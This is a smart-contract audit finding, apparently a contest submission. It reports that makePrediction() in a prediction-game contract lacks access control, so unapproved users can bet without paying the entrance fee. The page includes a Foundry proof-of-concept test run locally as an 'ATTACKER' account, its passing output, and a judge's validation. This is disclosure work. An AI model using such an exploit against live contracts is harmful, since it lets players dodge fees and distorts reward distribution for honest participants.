Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can make predictions without the approval of the organizer

[ SHORT DESCRIPTION + IMPACT ]

The normal sequence of function execution is :

  • Execute the register() to pay the entrance fee

  • Wait for the organizer to approve your request using approvePlayer() or just execute cancelRegistration() if you know you will never be accepted

  • After you got the approval of the organizer, you can execute makePrediction() paying the prediction fee

An attacker can just bypass the first 2 steps and execute makePrediction() to make a prediction, without paying the entrance fee and without waiting for the approval of the organizer

[ PoC ]

How to execute the PoC ?

  • Create a Foundry project with everything needed

  • Add the PoC in test/PoC.t.sol

  • Add this custom function to ScoreBoard

function READ______ScoreBoard______playersPredictions( address AA ) external view returns( PlayerPredictions memory ) {
return playersPredictions[ AA ] ;
}
  • Add this custom function to ThePredicter

function READ______ThePredicter______playersStatus( address AA ) external view returns( Status ) {
return playersStatus[ AA ] ;
}
  • Execute the PoC using the command forge test --match-path test/PoC.t.sol --match-test test________1 -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test} from "lib/forge-std/src/Test.sol";
import {console2} from "lib/forge-std/src/console2.sol";
import {ScoreBoard} from "../../src/ScoreBoard.sol";
import {ThePredicter} from "../../src/ThePredicter.sol";
contract Contract is Test {
struct Users {
User PRIVILEGED;
User ATTACKER;
User ______1______;
User ______2______;
User ______3______;
User ______4______;
}
Users ________Users;
struct User {
uint256 PRIVATE__KEY;
address ADDRESS;
}
struct Scope {
ScoreBoard ______ScoreBoard______;
ThePredicter ______ThePredicter______;
}
Scope ________Scope;
function setUp() public {
{
vm.warp(1723752000 - 1 days);
}
// NOTE : Users
{
(________Users.PRIVILEGED.ADDRESS, ________Users.PRIVILEGED.PRIVATE__KEY) = makeAddrAndKey(" PRIVILEGED ");
(________Users.ATTACKER.ADDRESS, ________Users.ATTACKER.PRIVATE__KEY) = makeAddrAndKey(" ATTACKER ");
(________Users.______1______.ADDRESS, ________Users.______1______.PRIVATE__KEY) = makeAddrAndKey(" User 1 ");
(________Users.______2______.ADDRESS, ________Users.______2______.PRIVATE__KEY) = makeAddrAndKey(" User 2 ");
(________Users.______3______.ADDRESS, ________Users.______3______.PRIVATE__KEY) = makeAddrAndKey(" User 3 ");
(________Users.______4______.ADDRESS, ________Users.______4______.PRIVATE__KEY) = makeAddrAndKey(" User 4 ");
}
// NOTE : Deploy and initialize the smart contracts and mocks
{
/// Deploy `` ScoreBoard `` ///
{
vm.startPrank(________Users.PRIVILEGED.ADDRESS);
________Scope.______ScoreBoard______ = new ScoreBoard();
vm.stopPrank();
}
/// Deploy `` ThePredicter `` ///
{
vm.startPrank(________Users.PRIVILEGED.ADDRESS);
________Scope.______ThePredicter______ = new ThePredicter({_scoreBoard: address(________Scope.______ScoreBoard______), _entranceFee: uint256(0.04 ether), _predictionFee: uint256(0.0001 ether)});
vm.stopPrank();
}
}
{
/// `` ScoreBoard `` :: setThePredicter ///
{
vm.startPrank(________Users.PRIVILEGED.ADDRESS);
________Scope.______ScoreBoard______.setThePredicter({_thePredicter: address(________Scope.______ThePredicter______)});
vm.stopPrank();
}
}
// NOTE : ETH
{
/// ETH ///
{
address USER = address(________Users.ATTACKER.ADDRESS);
uint256 AMOUNT__OF__ETH = (100) * (10 ** 18);
deal(address(USER), AMOUNT__OF__ETH);
}
}
// NOTE : ERC20
{}
}
function test________1() public {
require((________Scope.______ScoreBoard______.READ______ScoreBoard______playersPredictions(________Users.ATTACKER.ADDRESS).predictionsCount) == (0), unicode" ⛔️ ");
require((________Scope.______ThePredicter______.READ______ThePredicter______playersStatus(________Users.ATTACKER.ADDRESS)) == (ThePredicter.Status.Unknown), unicode" ⛔️ ");
/// `` ThePredicter `` :: makePrediction ///
{
vm.startPrank(________Users.ATTACKER.ADDRESS);
________Scope.______ThePredicter______.makePrediction{value: 0.0001 ether}({matchNumber: uint256(1), prediction: ScoreBoard.Result.Draw});
vm.stopPrank();
}
require((________Scope.______ScoreBoard______.READ______ScoreBoard______playersPredictions(________Users.ATTACKER.ADDRESS).predictionsCount) == (1), unicode" ⛔️ ");
}
}
Ran 1 test for test/PoC.t.sol:Contract
[PASS] test________1() (gas: 130121)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.10ms (195.40µs CPU time)
Ran 1 test suite in 3.91ms (1.10ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.